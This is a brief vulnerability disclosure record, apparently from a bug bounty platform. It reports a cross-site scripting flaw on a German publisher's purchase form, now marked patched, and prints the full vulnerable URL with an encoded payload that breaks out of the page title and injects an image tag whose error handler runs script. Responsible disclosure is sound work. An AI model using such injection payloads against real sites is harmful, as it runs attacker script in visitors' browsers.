optimus-verlag.de XSS vulnerability

Vulnerable URL: http://www.optimus-verlag.de/formular/kaufen.php?titel=A%3C/title%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=Dr.%20Bradley+Tice=9783863760557=29,90 Details: Description| Value ---|--- Patched:| Yes, at 20.03.2017 Latest check for patch:| 20.03.2017 20:37 GMT...